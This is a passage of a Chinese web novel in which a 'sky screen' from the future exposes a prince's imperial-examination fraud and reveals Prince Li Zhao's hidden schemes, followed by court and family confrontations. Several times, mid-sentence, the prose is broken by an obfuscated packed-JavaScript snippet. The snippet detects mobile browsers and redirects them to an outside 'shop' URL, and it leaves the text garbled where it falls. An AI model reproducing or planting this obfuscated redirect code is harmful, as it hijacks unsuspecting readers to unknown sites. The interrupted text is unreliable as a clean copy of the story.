“请陛下彻查,以正朝纲。”许多官员纷纷响应,至于其中有多少是真为天下人着想,有多少人是楚王政敌试图借此机会扳倒楚王势力,还有多少人是为划清界限就不得而知了。 左丞相接着道,“陛下,殿下年轻,或是一时被小人蒙蔽,行差踏错。然而尽如御史所言,此事...已非陛下家事,而是天下之事。臣以为,若为伪言,此后天幕再无法左右于民心。” 说到此处一顿,看了一眼皇帝,“若所查为真,殿下虽罪不至......然亦需严惩。或可废为庶人,圈禁宗正寺,以全陛下舐犊之情,亦于天下有了交代,彰显陛下公正之心。至于其中怂恿、协助之奸佞,当尽数诛戮,一个不留!” 黎昭啧啧,真是不愧老狐狸这个名号,看看这情商,怪不得人能稳坐左相之位,真是为他老爹着想。只是这话看似公允,实则暗藏杀机。 与楚王联系紧密的官员们如坐针毡,冷汗直流,楚王若倒,他们必受牵连。强作镇定,附和楚王称此为污蔑。另一部分则已开始思考如何与楚王切割,保全自身。 部分中立官员,心中骇然,意识到一场巨大的政治风暴即将来临,纷纷缄口不言,明哲保身。 一时间,下跪的,求饶的,上诉的,黎昭心觉这真是一场好戏,可惜明臻看不到,不然还能一起点评点评。 皇帝的面色阴沉如水,深深地看了黎昭一眼,随后目光如利剑般扫过三皇子,语气冷然:“逆子!科举乃国之根基,你也敢染指!来人,把楚王压入大牢。” “父皇,儿臣冤枉阿,您相信我,儿臣真的冤枉啊。定是瑞王,父皇,一定是瑞王与天幕中的妖女串通,他要陷害儿臣,他要陷害儿臣啊!!” 黎昭也想能和天幕沟通啊,他不想以后听自己的八卦! 皇帝却已不再看他,任由他被拖出朝堂。 面对朝臣,“天幕所言是真是假,朕自会派人查明,三司会审。若有人真敢在科场上动手脚,残害士子,荼毒百姓,朕绝不姑息!” “陛下圣明!” 黎昭清楚,这番话既是对楚王的警告,也是在做给天下人看。如今真相以这种方式公之于众,必起民愤,若处理不当,皇室威严扫地。但若立刻严惩楚王,又恐坐实了皇室的丑闻......他父皇需找一个既能平息民愤,又能保全皇家颜面的万全之策。但黎昭偏不,他要刮骨疗伤。 京城之中,尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628037|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是那些曾名落孙山的学子,积压多年的不甘与屈辱,此刻被“庞迎”二字彻底点燃。 “原来如此!我就说那年放榜有蹊跷!”茶楼里,一个青衫学子猛地拍案而起,茶盏震得哐当作响。 “庞迎之冤,岂止是他一人之冤?那是我等寒门学子共受之辱!朝廷若不彻查,天理何在!”另一人接口道,声音因激动而颤抖。 短暂的沉默后,有人压低了声音,却压不住话里的尖锐:“可……那可是皇子啊。官官相护,他们若想糊弄过去,我们又能如何?” “皇子又如何!”立刻有人厉声反驳,眼中充斥着义愤的火光,“天子犯法,尚与庶民同罪!若此次不了了之,国法岂非成了天大的笑话?” “对!我们不能就这么算了!”人群骚动起来,“需让朝廷看到我等的决心!去刑部!去都察院!联名上书!” 这样的对话,如同零星火种,在酒楼、书院、乃至街头巷尾迅速蔓延,最终汇聚成一片海洋。学子们胸中积郁的块垒,找到了一个共同的突破口。 与此同时,市井百姓或许对科场暗流与朝堂争斗不甚了解,但“灭人满门”这种最朴素的恶行,最能激发他们的共情与愤怒。 “天杀的哟!读书人的功名都能抢,抢不过就杀人全家,还有没有王法了!”菜市口,一个老妇人挎着菜篮,听得直跺脚。 “连读书人都落得如此下场,我们这些平头百姓,日后岂非更是任人宰割?”铁匠铺的汉子擦着汗,声音闷雷般沉重。 无需组织,无需鼓动,百姓的义愤与学子的诉求自然而然地交融在一起。要求严惩元凶、为庞家昭雪的声浪,如同预演过一般,迅速凝结成一股强大的舆论洪流,冲击着京城的每一个角落。 衙门值守的官员们何曾见过这等阵仗,望着衙外黑压压的人群与震天的声浪,个个面色发白,手足无措。 “各位大人都在宫中议事,这……这可如何是好?”一名书吏声音发颤。 那值守的官员猛一跺脚,嘶声道:“还愣着干什么!速速备马,入宫!即刻禀报!” 【庞迎自此被仇恨蒙了心,自毁容貌,以为这样就能瞒天过海,潜回京城。他想的倒是悲壮,想着就算找不出真凶,也要杀尽那些昏官,拼个鱼死网破。可惜啊,一个对权力没有准确认知的他还是太天真了。】 庞迎心道,是啊太天真了,他自以为隐没在黑暗中,却不知那些畜生如影随形,看着他毁容,看着他进京,看着他拼死抵抗,像猫在玩弄抓下无法逃脱的老鼠。他最后躺在地上听着那些人说着“蝼蚁之人,何来仇恨。”,扬长而去。他所有的恨,所有的计划,在绝对的力量面前,就是个笑话。 【但他回京城的第一天晚上就被人发现了,又一次被狼狈追杀。这一次幕后之人似乎腻了猫捉老鼠的把戏,下了狠手,他被一剑刺穿。 幸运的是他心脏偏右,没有刺中要害。幸运的是他倒在了圣祖回王府的必经之路上,就此他遇到了一生的贵人。】 9. “仙品cp” 【姐妹们!高能预警!让我们看看庞大人的自传是怎么描写他与圣祖的初遇的,这可是主播特意从大晟博物馆拍摄的拓印本,官方保真哦!】 天幕中,后世的“仙女”身旁浮现一张泛黄的纸页,似历经了风霜,但也足以让人看清上面的字迹,‘魂渺魄摇,忽见帝临于清辉之中。始误为黄泉引者,力竭难拒。孰料,竟为破晓之煌煌,洞明前路。’ 文臣们捻须细品,心下疑惑:这不过是臣子感念君恩的常见笔法,虽写得意境朦胧了些,但也算情有可原。倒是那“大晟博物馆”,莫非是后世收藏本朝器物之地? 【庞大人这段回忆,简直是官方发糖!他说他当时都快不行了,视线模糊间,就看见陛下踏着月光而来。你们品品这个画面,这宿命感!他当时还以为自己是看到了来接引的鬼使,心里还想拒绝,但根本没力气。 结果你猜怎么着?来的根本不是索命的无常,而是他独一无二的‘真命天子’!是专门来照亮他、拯救他的太阳啊!多么美好的意境啊!我宣布‘乘月照阳’CP锁死!钥匙我吞了!这是什么绝美救赎文学!】 【更关键的是,我们圣祖也没辜负这份情谊啊。他十五岁救下庞迎,四年后为其复仇。登基后设立锦衣卫,封庞迎为指挥使。这不就是‘爱他,就送他上青云’的现实演绎吗? 且庞迎成为指挥使后,将自己磨成最锋利的刀,圣祖指尖所向,即为他的刀锋所指,即便为改革得罪满朝公卿也在所不惜。我们‘乘月照阳’,就是双向奔赴的仙品!】 众人听着天幕上那番夸张的解读,目光不由自主地瞟向事件的主角——瑞王黎昭。这段话是这么理解的吗?听起来好像是这么个道理,但怎么品怎么觉得怪异,仿佛字里行间都透着一种难以言喻的黏糊? 朝中的文学大儒涨红着脸指着天幕,喃喃道,“荒唐,什么乘月照阳,真命天子,是这样用的吗?后世子孙竟将圣贤文章读成这般模样了吗?!” 也有个别年轻官员听得双眼放光,仿佛打开了新世界的大门,低声喃喃:“妙啊!原来如此!‘磕CP’一词,当真精妙绝伦!”身旁的同僚闻言,立刻不动声色地挪开半步,与之划清界限。 而一些心思深沉的官员,则敏锐地捕捉到了另一个关键词——“改革”,眉头紧锁,暗自思量。 明臻执黑棋的手微微一顿,蹙眉望向天幕。这庞迎,行文也过于轻佻了。看来日后官员的自传、笔记,都需经审阅方可流传后世。 黎昭听得面色尴尬,脚趾抠地。当时他身旁明明还有明臻的,他们一起救的啊!庞迎醒过来知道自己在王府的时候还想杀了他呢,简直六亲不认,他怎么不写这段呢。还是将庞迎彻底捆住之后才知道他身上发生了什么,有些人简直不配为人。 他当时只是一个刚出宫建府的皇子,依托祖父的商业帝国建立了一个情报机构,一直在物色一个可以隐在暗处替他出面的人,庞迎出现的时机刚刚好。 后来经查证后,黎昭答应为庞迎伸冤,以此他要庞迎成了情报头子,帮他做事。 庞迎过目不忘的能力在其中发挥了大用,三年,他们终于取得了完整的证据链,本来准备在来年会试的时候行动的。所以,事情完全不是天幕描述的那样啊! 双方各取所需,哪里是什么“月夜救赎”、“双向奔赴”! 他感到脸上发烫,根本不敢抬头迎接四面八方投来的目光。偏偏这时,旁边还响起一个唯恐天下不乱的声音。 “十弟,当真是艳福不浅啊。”晋王单手持着毛笔,懒洋洋地指向天幕,语带戏谑。 “这福气给你,你要不要啊?”黎昭没好气地回敬。 “呵呵,”晋王轻笑一声,“为兄可没有月下救人的雅兴,更无此等‘魄力’,自是比不上十弟你的。” 龙椅之上,皇帝静观着这场闹剧,目光深沉,看不出喜怒。他的指尖在扶手上轻轻敲击,不知在思量着什么。 【说回复仇,说回复仇!元和二十六年的会试放榜日,那可太热闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628038|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。京城里除了“科举不公,权贵窃榜”的传言满天飞,茶楼酒肆里还火了一出新编评书——内容直指高祖的三皇子,楚王殿下勾结高官,贿乱科考,以权谋私,培植派系,草菅人命,是科场舞弊产业链的“总设计师”!】 【这位楚王,那可真是个人才。他精准地找到了科举“糊名制”的漏洞——誊录手。主播给大家科普一下,大晟的誊录手,就相当于今天的“人肉打印机”,专门负责把考生的原卷用统一的“印刷体”抄一遍,防止考官认出笔迹。 这些人呢,可不是从朝廷正式官员体系中抽调的,多是字写得好的落第秀才或民间书手。选择这些人的标准首先是书法端楷,其次要求抄写速度快。】 【楚王的骚操作就来了:他提前锁定一批有潜力、但没背景的寒门学子,等他们的原卷到了誊录所,就让自己培养的誊录手,玩一手“乾坤大挪移”——把寒门学子的好答案,调包给交了“赞助费”的权贵子弟。 简单来说就是一场交易,交易之人得了殿试的入场券,楚王得了钱财和把柄,从此他们就是一条船上的人。】 【为啥这么大胆?首先,会试原卷不公开,只有优等生的答卷才会被编入《会试录》流传。楚王团队精得很,专挑那些“能进殿试,但不出彩”的中上游卷子下手,保证客户低空飞过就行。毕竟殿试一般不淘汰,只排名次,一旦入围,就是“包就业”。 做交易的不是有权就是有钱,再加上有楚王做背书,楚王的岳丈可是吏部尚书,能提供完美的“职级晋升一条龙服务”。这售后,要给五星好评!】 【当然,万一有哪个“作品”不小心太优秀,上了《会试录》出名了怎么办?楚王的解决方案非常“高效”:先利诱,给笔封口费;要是还不识抬举,那就只有一个字——杀!可谓是“物理封口,永绝后患”。 可惜他遇到了我们圣祖,这位可是连伤残兵丁和百姓饭碗都放在心上的人,岂能容得下这等蛀国之虫?他的整个产业链就此崩盘。】 10. 阳谋 听着那具体的舞弊手法,已有悲愤不已的大臣们无法再隐忍,要立即请奏,却被皇帝一个眼神给制止了。 “嘘,仔细听,再听听朕的小十究竟有何手段。” 众大臣一听这话知道楚王的下场已经板上钉钉,彻底没希望了。 黎昭被这句话激地背后一寒,总觉得下一刻棍子就要飞过来了,他老爹的气势越来越吓人了。 【圣祖是如何做的呢?找父皇打小报告?走朝议流程?No,no,no,这太普通了,完全配不上我们圣祖的段位。 在当时的情况下圣祖深知“刑不上大夫”的潜规则,若直接将证据上呈,虽能求得几分表面的公正,但楚王身为手持“免死金牌”的皇子,至多不过圈禁了事。若其党羽运作的够好还有可能脱掉主谋责任,逍遥法外,继续做他清清白白的王爷。 而圣祖要的是真相大白于天下,是杀人者偿命,是所有遭遇不公者得以沉冤昭雪。】 这话一出也让部分官员胆寒,谁能保证自己或家族没有犯错的时候,如此一个不认同“刑不上大夫”的皇帝上位究竟是好是坏,还需仔细斟酌。 【于是,他决定借万民之心为剑,破开科举场上的阴影。说到民心,纵观历史,从未有哪位君王如圣祖般,真正将民心置于最高位,也从未有人能将舆论运用得如此炉火纯青。 那“科举不公,权贵窃榜”的流言,与那直指楚王的说书戏文,正是圣祖的手笔。 想想看,会试刚结束,一大堆落榜举子正处在“一点就炸”的美丽心态中,这波节奏一带,效果拔群!举子们瞬间联名上书,要求官方给个说法。 朝廷的反应也很真实:查皇子?几名布衣学子说查就查,天家威严何在?必须压下去!官府的选择是迅速派兵弹压,将带头闹事者下狱,指望关几日便能使其“老实”。 就在情势愈发紧张,冲突一触即发之际,转折点降临——此次下场参加会试、并高中会元的明丞相之子明臻,出手了。这也是未来帝相二人的首次“梦幻联动”。 原来,楚王集团为销毁此次舞弊证据,并预备替罪羔羊,竟对那位被调换试卷的寒门学子提前下了杀手!殊不知螳螂捕蝉,黄雀在后,圣祖等待的,正是他们这自露马脚的狠厉一招。 次日,明臻便携着那侥幸生还、身负重伤的学子,直赴登闻鼓前,状告吏部右侍郎之子徐通——罪名并非直接指向楚王的科举舞弊,而是“科举剽窃”与“买凶杀人”。】 吏部侍郎听到自己的儿子也参与其中时脸色刷白,几欲吐血。可这天幕显然是不管任何人死活的,继续侃侃而谈。 【这招实在高,既然无法直接状告楚王,那就从小喽啰入手。衙门可以说舞弊证据不足,但买凶杀人的证据是真的,徐通不学无术也是真的,必须立案。 明臻自身便是今科会元,又是右相之子,由他带头被打压的学子们立即一呼百应,甚至有文学大儒也发文抨击,形成巨大的舆论压力,迫使朝廷不得不公开徐通与那寒门学子的试卷。 最终,双方于公堂之上当面对质,上演了经典打脸现场:徐通对着写着自己名字的文章,一问三不知;反而是那位寒门学子,对自己的文章侃侃而谈,剖析精妙。 这下,乐子可真的大了,众人还有什么不明白的——徐通窃取!这一结果传遍朝野,皇帝震怒,徐通下狱,就此彻底打开了调查科举舞弊的天窗!】 【然而,好景不长。那个顶罪的徐通,居然在狱中“被自尽”了,还非常“懂事”地留下了一份认罪书,把罪行揽得干干净净。 这操作,明眼人一看就懂——幕后大佬这是要“断尾求生”啊!他徐通区区一个纨绔,哪来的通天手段?骗鬼呢! 圣祖等待的,正是这个时机。他当即令旗下掌控的茶楼酒肆全力开动,将庞迎当年科考的黑幕与其满门被屠的惊天惨案,化作最引人入胜的评书段子,一夜之间传遍京城。这把火,终于从科举不公彻底烧向了血海深仇。 民怨如沸,再无转圜。不止京城士子,四方百姓闻之亦无不愤慨,说书戏文如火种般散向大江南北,竟有外地人士自发赴京,声援彻查。舆情彻底失控,已成席卷天下之势。 事情到这儿就完了?当然不!咱们圣祖最秀的操作这才开始! 他深知,自己是在刀尖上跳舞,逼迫皇权让步。万一玩脱了,被朝廷定性为“暴乱”,那可就全完了。于是,神操作来了:他主动帮皇帝把“完美结局”的剧本都给写好了! 他令说书人调转话锋,开始颂扬皇帝如何明察秋毫、大义灭亲,如何力排众议,为庞迎沉冤昭雪!这波操作,堪称古代版的“道德绑架”】 龙椅之上,皇帝的面色在天光下晦暗不明,唯有在听到‘道德绑架’四字时,搭在扶手上的指节微不可察地收紧了一下,以至于手背上的青筋都随之轻轻一颤。但天幕并没有给予众人缓冲的时间。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628039|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这其中有三层意思,其一,给了民愤一个出口:百姓一听皇上圣明,怒气自然就消了。 其二给了皇权一个台阶:皇帝一看,这剧本不错,顺着下去既能体现明君风范,又能平息事端。 其三:给皇帝戴了顶高帽:最绝的是,这等于把皇帝架在了“明君”的人设上,他想不按照这个“大义灭亲”的剧本演都不行了!放在高祖眼中这简直就是坑爹的败家子,幸亏高祖不知是圣祖做的。 这一招,堪称阳谋的巅峰——我明着夸你,但你必须按我夸的方向去做,否则你就是昏君,有哪个有雄才大略的皇帝不在意名声。 最终,朝廷的判决果然“不负众望”:楚王及其核心党羽被赐死,吏部尚书绞刑,家产抄没,家人流放。所有参与舞弊之人,均遭严惩。这场科举舞弊案到此落幕。 元和二十二年,圣祖救下庞迎,元和二十六年,就替他彻底报了这血海深仇!但这场复仇,也不仅仅是为了一个人,更像是圣祖在心中点燃的一把火!这把火,在他登基之后,直接烧向了腐朽的旧制,催生了全新的科举与教育制度。 后来史笔如铁,皆载大晟王朝文运昌隆、光华璀璨的文学盛世。而这一切的源头,或许正始于圣祖当年,为一位书生布下的那一局惊天棋阵。】 【好了,本期的《戏说史事》到此结束了,大家有为圣祖的才智谋略心动吗?欢迎评论区交流哦! 下期预告:文学盛世的开创,会是哪位“cp”呢?敬请期待!】 文武百官已经呆滞了,表示不心动,完全不敢心动!听听天幕描述的,这未来的帝王的胆子可不是一般大啊。 什么“顶级阳谋,道德绑架,不按我说的做就是昏君”,他们宁愿昏过去,也不想听帝王是如何被自己儿子坑的! 真不愧是从小跟在皇帝身边的,真是使得一手好计谋啊,群臣不约而同地想,只是民心真有如此大用吗?那群终其一生都有可能碌碌无为的人真有如此大的能耐吗? 此时黎昭在干什么呢?黎昭早就已经滑跪了,笑话,他还是有自知之明的,天幕中的他没有暴露,现在的他已经是赤条条的一个人了,希望老爹一会儿动手的时候能给自己留点面子,毕竟他就是个脆皮。 黎昭悄悄动了一下麻木的双腿,皱眉,天幕中所说的一切都在他们的预测之内,但唯一让他不解的是,为什么到庞迎这里就结束了,在他的预设中真相不应停止在此,难道还有什么变故? 11. 帝王之威 “爱卿们,此刻怎的尽成锯嘴葫芦了,刚才不是挺想说的吗?”皇帝身体向后靠去,似不在意般,“说吧,朕听着呢。” 听着皇帝阴阳怪气的语调,众大臣心里苦啊。您在意就去找当事人出气,拿我们做什么筏子啊! 这话自然无人敢宣之于口。众人只能强作镇定,装作无事发生,顺着帝王的台阶下。说到底,这是天家父子间的纠葛,岂容臣子置喙? “陛下!求陛下法外开恩啊!”已然清醒的吏部尚书张丰僚重重叩首,额角顷刻一片青紫。 “臣是被逼无奈!楚王以臣爱女性命相胁,臣不得不从!老臣自知罪无可恕,不求陛下宽宥,但臣的妻子,儿女对此毫不知情,但求陛下看在老臣从起事就跟在陛下身边的份上,放过他们,允他们返回家乡,臣愿奉上臣所知所有涉事之人。” “你的妻儿无辜,那庞迎满门、那些被断送前程的寒门学子,又何其无辜!”御史大夫愤然出列,须发皆张,“国法如山,岂容私情?请陛下从严处置,以正朝纲!” 黎昭闻言,心下暗叹。流放之刑对不知情的妇孺而言太过残酷。他上辈子所在的国家对于犯罪是罪责自负,只是后代在部分工作求学的政审上会有限制。 在大晟,黎昭曾经了解过,对于抄没家产,无人打点的罪臣家眷来说,能活着到达流放之地的在少数,也不知天幕上的自己如何考量的。归根结底,是这连坐之法,太过严苛。 “瑞王。”帝王的目光如鹰隼般锁定他细微的神情变化,“你如何看?” 黎昭从容出列,“父皇,张尚书死不足惜,至于对其家眷的审判,儿臣以为比起流放,以其子孙五代不得考取功名更为妥帖,张尚书既乱取仕之道,这报应落于子孙前程,恰是因果循环。当然,如何决断全凭父皇。” 四周顿时一片压抑的抽气声。在众人听来,这比流放更狠——流放还能东山再起,五代绝了科举路,便是将整个家族连根拔起了! 黎昭若知道他们的想法必定嗤之以鼻,命都没了,还谈什么未来。 “呵,”皇帝意味不明地低笑一声,“你先跪着。” 随即,他目光转向吏部尚书,积压的怒火终于找到了出口。 “荒唐!”皇帝猛地排着桌案,怒而起身,“张丰僚,你把朕当摆设吗,嗯?不要为了自己的一己私欲找借口,也不要以为打着开国功臣的名号就能抵消一切,朕不吃这一套。” 他森冷的目光紧盯下方群臣,一字一句道:“朕,才是皇帝。”“革除官职,押入诏狱,给朕彻查到底!” 张丰僚瘫软在地,怔怔地看着皇帝,面如土色,似没想到皇帝会如此绝情。 “陛下息怒。”群臣齐声俯首,皇帝话中的警告明明白白,有人幸灾乐祸,有人面露担心。 “息怒?你们让朕如何息怒!”皇帝负手而立,声音里淬着寒冰,“一群汲汲营营之辈侵占朕的朝堂,自诩能臣的你们,却无一人察觉!朕要这满朝文武何用?” “臣等无能。” “陛下”,左相适时出列,稳住局面,“如今天幕已指明关键,老臣请旨:即刻封存誊录所档案,控制所有涉事吏员,由三司会审,对照《会试录》与落榜士子原卷,核验笔迹,拨乱反正!同时彻底搜查楚王府及张丰僚府邸,务求揪出所有党羽,以安民心。” 皇帝如有实质的目光缓缓扫过匍匐的群臣,将每一张脸上的惊惧、算计与侥幸尽收眼底。 最后,用毋庸置疑的语气宣布:“准奏,刑部,大理寺,御史台三司会审。此案,由朕亲自主持。凡涉案者,无论品级爵位,一经查实——依谋逆罪论处,绝不姑息!” “诺,定不负陛下所托。”刑部尚书,大理寺卿,御史大夫纷纷上前。 帝王的决断一出,楚王的核心党羽如坠冰窟,身体不受控制地颤抖。天幕已将他们的遮羞布彻底掀开,整个利益网络已被彻底曝光。他们连狡辩的余地都没有,只能在极度的恐惧中等待最终的审判。 也有依附者立刻跪地,痛哭流涕地表示自己“受蒙蔽”、“并不知情”,试图将罪责全推给楚王,以求一线生机。 太子看着跪在一旁的黎昭,心情复杂难言。最大的威胁之一骤然倾覆,他本该松一口气,可一种更深的危机感已攫住心脏。 天幕的存在,让所有阴谋都暴露在阳光下,他的储君之位会是怎么丢失的?是自己终究步了楚王后尘,做了曾经嗤之以鼻的事?还是小十真的做了什么? 也有的眼神开始闪烁,天幕的手段太过可怕,任何秘密在它面前都无所遁形,不免有兔死狐悲的寒意。然而,危机之中亦藏机遇——楚王以最不体面的方式倒台,空出了巨大的权力真空。 他们打量着彼此,计算着下一步该如何瓜分楚王的势力,并思考如何在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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人群中,看着时机,有人振臂一呼,“大家听到了吗,仙女金口玉言,说咱们陛下是明君!天幕里陛下能给庞迎、给学子们公道,如今就一定也能给咱们!只要我们不放弃!” “对,只要我们不放弃,陛下一定会为我们做主的。” 一呼百应。聚集的人群顿时信心大涨,声浪一阵高过一阵。许多原本只是看热闹的,此刻也忍不住被这股热血感染,加入了呼喊的行列。 或许此刻,他们之中的大多数人,仍未能全然理解胸中这股澎湃的热流究竟为何。但点点星火,已印入心间,只待一缕春风! 12. 父子对峙 “太子,随朕进来。” 几位皇子在御书房外站定,彼此交换着晦暗不明的眼神。 沉重的殿门被内侍从外轻轻合拢,最后一丝光线与声响都被隔绝。门外霎时陷入一种微妙的寂静,唯有鎏金兽首香炉中逸出的龙涎香,在天光中盘旋、消散。 黎昭心中七上八下,实在摸不透父皇这番单独召见是何用意。不过,总归是顾及了他的颜面,没在群臣面前发作。 正思忖间,一道阴飕飕的声音在耳畔响起:“十弟,这些年,倒是哥哥们看走眼,疏忽你了。”齐王不知何时已凑近,脸上挂着无可挑剔的温和笑意,“得空多来二哥府上坐坐,我们兄弟,也该好生亲近亲近了。” “哈哈,二哥说的是,一定,一定。”黎昭面上堆笑,心下却门儿清。哪里是“疏忽”,分明是“无视”。他出生时,这位二哥早已出宫建府,年龄相差甚远,本就没什么交集。 待他十五岁开府,齐王也经常叫他参加一些宴会游玩,奈何他一心只想苟着,对各种拉拢婉拒推脱,再加上他出宫后一直没有上朝,纨绔之名又逐渐盛传,齐王也就渐渐歇了心思。这些年,两人不过是维持着表面客气的塑料兄弟情。 “还亲近?亲近什么?好学学怎么把自家兄弟往死里送?”一旁的燕王冷不丁开口,语气火药味十足。 不等黎昭反驳,齐王竟悠悠接话:“四弟,此言差矣。三弟是咎由自取,怨不得旁人。我等行得正坐得直,十弟自然不会......除非”,他话音一顿,意味深长地瞟向燕王,“四弟做了什么见不得光的事,心下不安?” 燕王瞬间被点着,恶狠狠瞪了齐王一眼,声音陡然拔高:“我能做什么见不得光的事!二哥还是先管好自己手下那些营生吧!” 恰在此时,御书房的门“吱呀”一声开了。 太子稳步走出,面色平静,看不出喜怒。 “二弟,父皇宣你。” 他经过黎昭身边时,脚步微顿,似是想说什么,最终只化作一声几不可闻的轻叹:“小十......罢了,有空来东宫一趟。”随即,抬手在黎昭肩头轻轻一拍,便转身离去。 黎昭皱眉,也好,总要谈一谈。 “皇兄,你说父皇要训你就算了,你做的事确实有些对不起父皇,可我什么也没做,为什么我也要来啊?不过,皇兄,你做的事真酷!下次这么好玩的事可以带带我呗!” 黎昭无言以对,要命的事是好玩的吗?“玩什么玩,你的兵书熟读了?你的武功跟教学师傅学好了?你不想当大将军了?” 福王立刻打杆子上马,惊喜道,“皇兄,你的意思是你支持我去做大将军了!”他的想法很简单,天幕说了他皇兄是未来的皇帝,以他跟皇兄的关系,只要皇兄点头,那未来他当个大将军不是轻轻松松的事,开心。 “你如果不想害了皇兄我,就把嘴巴闭上吧。”黎昭想打开蠢弟弟的脑袋看看,为什么身在皇家的他只长个子不长心眼呢。 “哦~~。”福王才意识道,这话现在说不太好,毕竟还是父皇当家呢。 后面几位皇子依次进去,出来,除了燕王出来恶狠狠给了黎昭一句“藏好你的狐狸尾巴,别让我抓住什么把柄!”的警告,谁也没有透露什么。 黎昭对于这明面上的威胁不甚在意,最让人防不胜防的还是暗处的礁石。 “刷——” 黎昭方踏入御书房,一道黑影便裹挟着破空之声迎面袭来,精准地砸在他脚前半步之地!御用的青瓷茶盏瞬间粉碎,瓷片与茶水溅上他的袍角。 “逆子!你眼里可还有朕这个父皇?!”皇帝的怒斥随之而至。 “父皇此言差矣,”黎昭稳住身形,脸上依旧挂着那副惯有的、让人火大的笑容,规规矩矩行了一礼,“您永远是儿臣的爹。儿臣不仅眼里有您,心里更是时刻敬着念着。” “敬着念着?瞧瞧你干的好事!‘圣祖’皇帝?好大的威风!”皇帝怒极反笑,“说说吧,将你父皇我‘道德绑架’至此,感觉如何?” “父皇,您也说了,那是‘圣祖’干的事,和现在的黎昭有什么关系?”黎昭一脸无辜。 “胡搅蛮缠!”皇帝一掌拍在案上,“照你所说,若无这天幕,你便不会行这为庞迎伸冤、逼迫君父之事了?” 黎昭心下一横,知道此刻唯有坦诚:“不瞒父皇,即便没有天幕,来年会试,也确是儿臣计划发难之机。” “好,好得很!真是朕的好儿子啊,古有佛祖割肉喂鹰,今有你黎昭为民杀兄迫父,就不怕有朝一日被鹰啄了眼?” 面对皇帝饱含讥讽与压迫的质问,黎昭深吸一口气,他眼中的嬉笑尽数敛去,取而代之的是一种与这个时代格格不入的沉静与通透。他再次拱手,这一次,姿态是前所未有的郑重。 “父皇的比喻精妙,但儿臣以为,二者有本质不同。” “哦?”皇帝冷哼一声,倒想听听这“逆子”又能吐出什么象牙。 “佛祖割肉喂鹰,是舍己身以全他命,是慈悲,亦是牺牲。而儿臣所为——”黎昭抬起头,目光清亮,不闪不避地地迎上皇帝锐利的视线,“并非是要牺牲自己或皇室去成全谁,而是要重塑规则,奠定基石。” 他斟酌着词句,试图将超越时代的理念,装入这位古代帝王能理解的容器:“儿臣并非想当圣人,也当不了圣人。” ”儿臣只是想明白一个道理:统治的根基,长远来看,不在严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628041|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑峻法,不在权谋制衡,而在人心向背与朝廷公信。朝廷的制度信用,是天下人对‘公平正义’这四个字最朴素的期待。” “人心向背,在于朝廷是否将百姓的诉求真正放在心上。而百姓所求不过是吃饱穿暖,安稳一生。纵观史书,王朝末年衰亡无不伴随着起义,新王朝的建立也是伴随着起义,无论兴衰,苦的都是百姓。” “若百姓能安稳度日,谁会去参与起义,这就是民心。父皇,您是开国之君,亲眼见过前朝如何倾覆,我大晟如何崛起,其中关窍,您比儿臣体会更深。” 听到此,皇帝眉头微皱,“继续说。” “迫父并非本意,只是达成目的的手段。让天下人看到,朝廷有自洁之能,皇族有不徇私情,容人之量,法度有至高之威!让‘皇子犯法,与庶民同罪’,不再是一句空谈!如此,百姓方能归心,士林方能效死。” 他顿了顿,声音不高,却字字如金石坠地:“儿臣不是要自己做圣人,而是要请父皇,与我朝律法,一同成为那不可逾越的‘规矩’本身。” “儿臣心里有父皇,所以不愿见父皇的圣明,被些许蠹虫拖累。儿臣眼里有江山,所以不能坐视国本动摇。若此举让父皇震怒,儿臣愿领责罚。但若重来一次......”黎昭目光坚定,毫无退缩,“儿臣,依然会做。” 殿内陷入一片死寂。黎昭的话如同一块巨石投入深潭,激起的不是水花,而是无声却汹涌的暗流。 